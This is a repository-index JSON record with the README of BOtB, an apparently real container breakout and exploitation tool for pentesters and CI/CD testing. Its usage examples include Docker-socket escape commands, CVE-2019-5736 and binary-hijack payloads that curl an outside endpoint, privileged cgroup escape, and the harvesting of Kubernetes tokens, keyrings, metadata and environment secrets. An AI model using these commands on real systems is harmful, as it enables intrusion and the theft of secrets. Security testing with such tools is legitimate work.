{"id":13539855,"url":"https://github.com/brompwnie/botb","last_synced_at":"2026-01-12T06:48:22.027Z","repository":{"id":36651758,"uuid":"173116721","full_name":"brompwnie/botb","owner":"brompwnie","description":"A container analysis and exploitation tool for pentesters and engineers.","archived":false,"fork":false,"pushed_at":"2023-09-27T08:20:01.000Z","size":3774,"stargazers_count":620,"open_issues_count":7,"forks_count":59,"subscribers_count":27,"default_branch":"main","last_synced_at":"2024-09-22T22:10:53.148Z","etag":null,"topics":["container-analysis","container-breakout","docker-daemon","exploitation","metadata-endpoints","pentesters","procfs","unix-domain-sockets"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/brompwnie.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-02-28T13:26:18.000Z","updated_at":"2024-09-21T14:26:14.000Z","dependencies_parsed_at":"2024-06-18T20:06:51.545Z","dependency_job_id":"1761f571-2784-44b8-9ed0-39decc35c45a","html_url":"https://github.com/brompwnie/botb","commit_stats":{"total_commits":54,"total_committers":7,"mean_commits":7.714285714285714,"dds":0.5740740740740741,"last_synced_commit":"6d33aaea2fd33a251ba1c6fbef723550f1ca1311"},"previous_names":[],"tags_count":9,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/brompwnie%2Fbotb","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/brompwnie%2Fbotb/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/brompwnie%2Fbotb/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/brompwnie%2Fbotb/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/brompwnie","download_url":"https://codeload.github.com/brompwnie/botb/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246768100,"owners_count":20830605,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["container-analysis","container-breakout","docker-daemon","exploitation","metadata-endpoints","pentesters","procfs","unix-domain-sockets"],"created_at":"2024-08-01T09:01:33.052Z","updated_at":"2026-01-12T06:48:22.021Z","avatar_url":"https://github.com/brompwnie.png","language":"Go","funding_links":[],"categories":["Docker","\u003ca id=\"1233584261c0cd5224b6e90a98cc9a94\"\u003e\u003c/a\u003e渗透\u0026\u0026offensive\u0026\u0026渗透框架\u0026\u0026后渗透框架","Tools","\u003ca id=\"3ed50213c2818f1455eff4e30372c542\"\u003e\u003c/a\u003e工具","工具","蓝队工具","0x02 工具 :hammer_and_wrench:","Security"],"sub_categories":["Tools","\u003ca id=\"a9494547a9359c60f09aea89f96a2c83\"\u003e\u003c/a\u003e后渗透","Attack","\u003ca id=\"12abc279c69d1fcf10692b9cb89bcdf7\"\u003e\u003c/a\u003e未分类-post-exp","Pentesting","渗透测试","红队工具","2 云原生工具"],"readme":"[![Github All Releases](https://img.shields.io/github/downloads/brompwnie/botb/total.svg?style=for-the-badge)](https://github.com/brompwnie/botb/releases)\n\n# Break out the Box (BOtB)\nBOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies.\n\n\n# What does it do?\nBOtB is a CLI tool which allows you to:\n- Exploit common container vulnerabilities\n- Perform common container post exploitation actions\n- Provide capability when certain tools or binaries are not available in the Container\n- Use BOtB's capabilities with CI/CD technologies to test container deployments\n- Perform the above in either a manual or automated approach\n\n## Current Capabilities\n- Perform a container breakout via exposed Docker daemons (docker.sock)\n- Perform a container breakout via CVE-2019-5736\n- Perform a privileged container breakout via enabled CAPS and SYSCALLS\n- Extract data from Linux Kernel Keyrings via abusing the Keyctl syscall through permissive seccomp profiles\n- Identify Kubernetes Service Accounts secrets and attempt to use them\n- Identify metadata services endpoints i.e http://169.254.169.254, http://metadata.google.internal/ and http://100.100.100.200/\n- Scrape metadata info from GCP metadata endpoints\n- Analyze and identify sensitive strings in ENV and process in the ProcFS i.e /Proc/{pid}/Environ\n- Find and Identify UNIX Domain Sockets\n- Identify UNIX domain sockets which support HTTP\n- Find and identify the Docker Daemon on UNIX domain sockets or on an interface\n- Hijack host binaries with a custom payload\n- Perform actions in CI/CD mode and only return exit codes \u003e 0\n- Push data to an S3 bucket\n- Force BOtB to always return a Exit Code of 0 (useful for non-blocking CI/CD)\n- Perform the above from the CLI arguments or from a YAML config file\n- Perform reverse DNS lookup\n\n\n# Installation\n\n## Binaries\nFor installation instructions from binaries please visit the [Releases Page](https://github.com/brompwnie/botb/releases).\n\n## Via Go\n```\ngo get github.com/brompwnie/botb\n```\n\n\n# Building from source\n\nBuilding BOtB via Go:\n```\ngo build\n```\nBuilding BOtB via Make:\n```\nmake\n```\n\n\n# Usage\nBOtB can be compiled into a binary for the targeted platform and supports the following usage\n```\n./botb-linux-amd64 -h\n-aggr string\n        Attempt to exploit RuncPWN (default \"nil\")\n  -always-succeed\n        Always set BOtB's Exit code to Zero\n  -autopwn\n        Attempt to autopwn exposed sockets\n  -cicd\n        Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0\n  -config string\n        Load config from provided yaml file (default \"nil\")\n  -endpoints string\n        Provide a textfile with endpoints to use for test (default \"nil\")\n  -find-docker\n        Attempt to find Dockerd\n  -find-http\n        Hunt for Available UNIX Domain Sockets with HTTP\n  -find-sockets\n        Hunt for Available UNIX Domain Sockets\n  -hijack string\n        Attempt to hijack binaries on host (default \"nil\")\n  -k8secrets\n        Identify and Verify K8's Secrets\n  -keyMax int\n         Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)\n  -keyMin int\n         Minimum key id range (default 1) (default 1)\n  -metadata\n        Attempt to find metadata services\n  -path string\n        Path to Start Scanning for UNIX Domain Sockets (default \"/\")\n  -pwn-privileged string\n        Provide a command payload to try exploit --privilege CGROUP release_agent's (default \"nil\")\n  -pwnKeyctl\n        Abuse keyctl syscalls and extract data from Linux Kernel keyrings\n  -recon\n        Perform Recon of the Container ENV\n  -region string\n        Provide a AWS Region e.g eu-west-2 (default \"nil\")\n  -rev-dns string\n        Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default \"nil\")\n  -s3bucket string\n        Provide a bucket name for S3 Push (default \"nil\")\n  -s3push string\n        Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default \"nil\")\n  -scrape-gcp\n        Attempt to scrape the GCP metadata service\n  -verbose\n        Verbose output\n  -wordlist string\n        Provide a wordlist (default \"nil\")\n\n```\n\nBOtB can also be instructed to load settings from a YAML file via the config parameter\n```\n#./botb-linux-amd64 -config=cfg.yml\n[+] Break Out The Box\n[+] Loading Config: cfg.yml\n...\n```\n\nThe following usage examples will return a Exit Code \u003e 0 by default when an anomaly is detected, this is depicted by \"echo $?\" which shows the exit code of the last executed command.\n\n### Identify and Extract Linux Kernel Keyring Secrets that have not been properly protected\nMore info from the original author here https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/\n```\n#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000\n[+] Break Out The Box\n[*] Attempting to Identify and Extract Keyring Values\n[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe\n[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret\n[!] Output {\n \"KeyId\": 13738777,\n \"Valid\": true,\n \"Name\": \"_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6\",\n \"Type\": \"keyring\",\n \"Uid\": \"0\",\n \"Gid\": \"0\",\n \"Perms\": \"3f1b0000\",\n \"String_Content\": \"\\ufffd\\ufffd\\ufffd\\u000e\",\n \"Byte_Content\": \"wP73Dg==\",\n \"Comments\": null,\n \"Subkeys\": [\n  {\n   \"KeyId\": 251133632,\n   \"Valid\": true,\n   \"Name\": \"brompwnie_secret\",\n   \"Type\": \"user\",\n   \"Uid\": \"0\",\n   \"Gid\": \"0\",\n   \"Perms\": \"3f010000\",\n   \"String_Content\": \"thetruthisialsoreallyliketrees\",\n   \"Byte_Content\": \"dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz\",\n   \"Comments\": null,\n   \"Subkeys\": null,\n   \"Output\": \"\"\n  }\n ],\n \"Output\": \"\"\n}\n[+] Finished\n```\n\n\n### Identify and Verify mounted Kubernetes Service Account Secrets\n```\n#./botb-linux-amd64 -k8secrets=true\n[+] Break Out The Box\n[*] Identifying and Verifying K8's Secrets\n[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token\n[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token\n[*] Trying:  https://kubernetes.default/api/v1\n[!] Valid response with token (xxxxxxxxxx...)on -\u003e https://kubernetes.default/api/v1\n[*] Trying:  https://kubernetes.default/api/v1/namespaces\n[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets\n[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods\n[*] Trying:  https://kubernetes.default/api/v1\n[!] Valid response with token (xxxxxxxxxx...)on -\u003e https://kubernetes.default/api/v1\n[*] Trying:  https://kubernetes.default/api/v1/namespaces\n[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets\n[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods\n[+] Finished\n```\n\n### Break out from Container via Exposed Docker Daemon\nThis approach will breakout into an interactive TTY on the host.\n```\n#./bob_linux_amd64 -autopwn=true    \n[+] Break Out The Box\n[+] Attempting to autopwn\n[+] Hunting Docker Socks\n[+] Attempting to autopwn:  /var/meh\n[+] Attempting to escape to host...\n[+] Attempting in TTY Mode\n./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh\nchroot /host \u0026\u0026 clear\necho 'You are now on the underlying host'\nYou are now on the underlying host\n/ # \n```\n\n### Break out of a Container but in a CI/CD Friendly way\nThis approach does not escape into a TTY on the host but instead returns an Exit Code \u003e 0 to indicate a successful container breakout.\n\n```\n#./bob_linux_amd64 -autopwn=true -cicd=true\n[+] Break Out The Box\n[+] Attempting to autopwn\n[+] Hunting Docker Socks\n[+] Attempting to autopwn:  /var/meh\n[+] Attempting to escape to host...\n[!] Successfully escaped container\n[+] Finished\n\n#echo $?\n1\n```\n\n### Exploit CVE-2019-5736 with a Custom Payload\nPlease note that for this exploit to work, a process has to be executed in the target container in this scenario.\n```\n#./bob_linux_amd64 -aggr='curl \"https://some.endpoint.com?command=$0\u0026param1=$1\u0026param2=$2\"\u003e/dev/null 2\u003e\u00261'\n[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...\n[+] Attempting to exploit CVE-2019-5736 with command:  curl \"https://bobendpoint.herokuapp.com/canary/bobby?command=$0\u0026param1=$\n1\u0026param2=$2\"\u003e/dev/null 2\u003e\u00261\n[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped\n[+] Finished\n```\n\n### Hijack Commands/Binaries on a Host with a Custom Payload\nPlease note that this can be used to test if external entities are executing commands within the container. Examples are Docker Exec and Kubetcl CP.\n\n```\n#./bob_linux_amd64 -hijack='curl \"https://bobendpoint.herokuapp.com/canary/bobby?command=$0\u0026param1=$\n1\u0026param2=$2\"\u003e/dev/null 2\u003e\u00261'\n[+] Break Out The Box\n[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...\n[+] Attempting to hijack binaries\n[*] Command to be used:  curl \"https://bobendpoint.herokuapp.com/canary/bobby?command=$0\u0026param1=$1\u0026param2=$2\"\u003e/dev/null 2\u003e\u00261\n[+] Currently hijacking:  /bin\n[+] Currently hijacking:  /sbin\n[+] Currently hijacking:  /usr/bin\n[+] Finished\n```\n\n### Find UNIX Domain Sockets\n```\n#./botb-linux-amd64 -find-sockets=true\n[+] Break Out The Box\n[+] Hunting Down UNIX Domain Sockets from: /\n[!] Valid Socket: /var/meh\n[+] Finished\n\n#echo $?\n1\n```\n\n\n### Find a Docker Daemon\n```\n#./bob_linux_amd64 -find-docker=true\n[+] Break Out The Box\n[+] Looking for Dockerd\n[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375\n[+] Hunting Docker Socks\n[!] Valid Docker Socket: /var/meh\n[+] Finished\n\n#echo $?\n1\n```\n\n\n\n### Analyze ENV and ProcFS Environ for Sensitive Strings\nBy default BOtB will search for the two terms \"secret\" and \"password\".\n```\n ./bob_linux_amd64 -recon=true\n[+] Break Out The Box\n[+] Performing Container Recon\n[+] Searching /proc/* for data\n[!] Sensitive keyword found in: /proc/1/environ -\u003e 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'\n[!] Sensitive keyword found in: /proc/12/environ -\u003e 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'\n[!] Sensitive keyword found in: /proc/self/environ -\u003e 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'\n[!] Sensitive keyword found in: /proc/thread-self/environ -\u003e 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'\n[+] Checking ENV Variables for secrets\n[!] Sensitive Keyword found in ENV:  foo=secretpassword\n[+] Finished\n\n#echo $?\n1\n```\n\nA wordlist can be supplied to BOtB to scan for particular keywords.\n```\n#cat wordlist.txt \nmoo\n\n# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt\n[+] Break Out The Box\n[+] Performing Container Recon\n[+] Searching /proc/* for data\n[*] Loading entries from: wordlist.txt\n[+] Checking ENV Variables for secrets\n[*] Loading entries from: wordlist.txt\n[+] Finished\n\n# echo $?\n0\n```\n\n### Scan for Metadata Endpoints\nBOtB by default scans for two Metadata endpoints.\n```\n#  ./bob_linux_amd64 -metadata=true                    \n[+] Break Out The Box\n[*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'\n[*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'\n[+] Finished\n\n# echo $?\n0\n```\n\nBOtB can also be supplied with a list of endpoints to scan for.\n```\n#  cat endpoints.txt \nhttps://heroku.com\n\n#  ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt\n[+] Break Out The Box\n[*] Loading entries from: endpoints.txt\n[*] Attempting to query metadata endpoint: 'https://heroku.com'\n[!] Reponse from 'https://heroku.com' -\u003e 200\n[+] Finished\n\n# echo $?\n1\n```\n\n\n### Scan for UNIX Domain Sockets that respond to HTTP\n```\n#  ./bob_linux_amd64 -find-http=true\n[+] Break Out The Box\n[+] Looking for HTTP enabled Sockets\n[!] Valid HTTP Socket: /var/run/docker.sock\n[+] Finished\n\n```\n\n### Scrape data from GCP metadata instance\n```\n#  ./botb_linux_amd64 -scrape-gcp=true\n[+] Break Out The Box\n[+] Attempting to connect to:  169.254.169.254:80\n\n[*] Output-\u003e\n HTTP/1.0 200 OK\nMetadata-Flavor: Google\nContent-Type: application/text\nDate: Sun, 30 Jun 2019 21:53:41 GMT\nServer: Metadata Server for VM\nConnection: Close\nContent-Length: 21013\nX-XSS-Protection: 0\nX-Frame-Options: SAMEORIGIN\n\n0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0\n0.1/meta-data/attached-disks/disks/0/index 0\n0.1/meta-data/attached-disks/disks/0/mode READ_WRITE\n.....\n\n```\n\n### Push data to an AWS S3 Bucket\n```\n#  ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2\n[+] Break Out The Box\n[+] Pushing fileToPush.tar.gz -\u003e nameOfS3Bucket\n[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz\n[+] Finished\n\n```\n\n### Break out of a Privileged Container\n```\n#  ./bob_linux_amd64 -pwn-privileged=hostname\n[+] Break Out The Box\n[+] Attempting to exploit CGROUP Privileges\n[*] The result of your command can be found in /output\n[+] Finished\nroot@418fa238e34d:/app# cat /output \ndocker-desktop\n```\n\n### Force BOtB to always succeed with a Exit Code of 0\nThis is useful for non-blocking CI/CD tests\n```\n#  ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true\n[+] Break Out The Box\n[+] Attempting to exploit CGROUP Privileges\n[*] The result of your command can be found in /output\n[+] Finished\n# echo $?\n0\n\n```\n\n### Using BOtB with a YAML config file\nExample YAML file cfg.yml\n\n```\npayload: id\nverbose: false\nalways-succeed: true\ncicd: false\nendpointlist: endpoints.txt\nwordlist: wordlist.txt\npath: /\nmode: find-sockets\n\n```\nRun BOtB with the above YAML\n\n```\n#  ./bob_linux_amd64 -config=cfg.yml\n[+] Break Out The Box\n[+] Loading Config: cfg.yml\n[+] Looking for UNIX Domain Sockets from: /\n[!] Valid Socket: /tmp/thisisnotasocket.mock\n[+] Finished\n\n```\n\n# Using BOtB with CI\\CD\nBOtB can be used with CI\\CD technologies that make use of exit codes to determine if tests have passed or failed. Below is a Shell script that executes two BOtB tests and the exit codes of the two tests are used to set the exit of the Shell script. If any of the two tests return an Exit Code \u003e0, the test executing the shell script will fail.\n\n```\n#!/bin/sh \n\nexitCode=0\n\necho \"[+] Testing UNIX Sockets\"\n./bob_linux_amd64 -autopwn -cicd=true\nexitCode=$?\n\necho \"[+] Testing Env\"\n./bob_linux_amd64 -recon=true\nexitCode=$?\n\n(exit $exitCode)\n\n```\nThe above script is not the only way to use BOtB with CI\\CD technologies but could also be used by itself and not wrapped in a shell script. An example YML config would be:\n\n```\nversion: 2\ncicd:\n  runATest: ./bob_linux_amd64 -autopwn -cicd=true\n```\n\nBelow is an example config that can be used with Heroku CI:\n\n```\n{\n    \"environments\": {\n        \"test\": {\n            \"scripts\": {\n                \"test\": \"./bob_linux_amd64 -autopwn -cicd=true\"\n            }\n        }\n    }\n}\n```\n\nBelow is an example config with Heroku CI but using a wrapper shell script:\n\n```\n{\n    \"environments\": {\n        \"test\": {\n            \"scripts\": {\n                \"test\": \"./bin/testSocksAndEnv.sh\"\n            }\n        }\n    }\n}\n\n\n```\n\n# Issues, Bugs and Improvements\nFor any bugs, please submit an issue. There is a long list of improvements but please submit an Issue if there is something you want to see added to BOtB.\n\n# References and Resources\nThis tool would not be possible without the contribution of others in the community, below is a list of resources that have helped me.\n\n- https://docs.docker.com/engine/security/https/\n- https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp\n- https://docs.docker.com/engine/reference/commandline/exec/\n- https://github.com/GoogleContainerTools/container-structure-test\n- https://github.com/coreos/clair\n- https://github.com/aquasecurity/docker-bench\n- https://www.cisecurity.org/benchmark/docker/\n- https://github.com/Frichetten/CVE-2019-5736-PoC\n- https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/\n- https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/\n- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html\n- https://github.com/wagoodman/dive\n- https://github.com/cji/talks/blob/master/BruCON2018/Outside%20The%20Box%20-%20BruCON%202018.pdf\n- https://github.com/singe/container-breakouts\n- https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/\n- https://zwischenzugs.com/2015/06/24/the-most-pointless-docker-command-ever/\n- https://github.com/antitree/keyctl-unmask#keyctl-unmask\n- https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/\n\n# Talks and Events\nBOtB is scheduled to be presented at the following:\n\n- BSides London 2019 (https://sched.co/PAwB) and slides can be found here https://github.com/brompwnie/bsideslondon2019\n- Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988)\n- DefCon 27 Cloud Village (https://cloud-village.org/)\n- Blackhat Europe 2019 (https://www.blackhat.com/eu-19/briefings/schedule/index.html#reverse-engineering-and-exploiting-builds-in-the-cloud-17287)\n- DevSecCon London 2019 (https://www.devseccon.com/london-2019/)\n\n # License\n BOtB is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0).\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbrompwnie%2Fbotb","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbrompwnie%2Fbotb","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbrompwnie%2Fbotb/lists"}